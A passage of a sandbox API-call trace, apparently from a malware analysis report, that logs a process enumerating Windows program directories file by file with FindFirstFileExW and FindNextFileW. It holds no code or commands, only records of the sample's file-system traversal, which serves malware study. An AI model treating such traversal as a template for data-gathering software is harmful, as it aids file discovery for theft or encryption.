ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.816] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.816] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.816] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0244.817] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.818] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.818] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0244.819] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.819] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9fc349b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fc349b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.819] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.819] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce5a650, ftCreationTime.dwHighDateTime=0x1d55264, ftLastAccessTime.dwLowDateTime=0xad89b260, ftLastAccessTime.dwHighDateTime=0x1d59b02, ftLastWriteTime.dwLowDateTime=0xad89b260, ftLastWriteTime.dwHighDateTime=0x1d59b02, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="functionality-complimentary-planner.exe", cAlternateFileName="FUNCTI~1.EXE")) returned 1 [0244.819] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.820] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.820] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb023c0, ftCreationTime.dwHighDateTime=0x1d53af6, ftLastAccessTime.dwLowDateTime=0x29688000, ftLastAccessTime.dwHighDateTime=0x1d5beda, ftLastWriteTime.dwLowDateTime=0x29688000, ftLastWriteTime.dwHighDateTime=0x1d5beda, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0244.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.820] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.820] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0244.842] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.842] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.842] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0244.842] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.843] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.843] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb023c0, ftCreationTime.dwHighDateTime=0x1d53af6, ftLastAccessTime.dwLowDateTime=0x29688000, ftLastAccessTime.dwHighDateTime=0x1d5beda, ftLastWriteTime.dwLowDateTime=0x29688000, ftLastWriteTime.dwHighDateTime=0x1d5beda, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0244.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.843] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.843] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.843] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.843] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.843] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafc790, ftCreationTime.dwHighDateTime=0x1d59b62, ftLastAccessTime.dwLowDateTime=0x15d88c20, ftLastAccessTime.dwHighDateTime=0x1d58e87, ftLastWriteTime.dwLowDateTime=0x15d88c20, ftLastWriteTime.dwHighDateTime=0x1d58e87, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="CCV_SE~1.EXE")) returned 1 [0244.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.845] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.845] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.845] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.845] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.845] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0244.849] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.849] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.849] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0244.850] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.851] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.851] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.851] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.851] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.851] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.851] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.851] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0244.851] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0244.851] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0244.852] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0244.852] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0244.852] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.891] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.891] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0244.907] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.908] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.908] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0244.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.911] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.911] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.911] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.911] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.911] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0244.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.916] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.916] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0244.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.917] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.917] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.917] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.917] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.917] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0244.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.918] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.918] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, 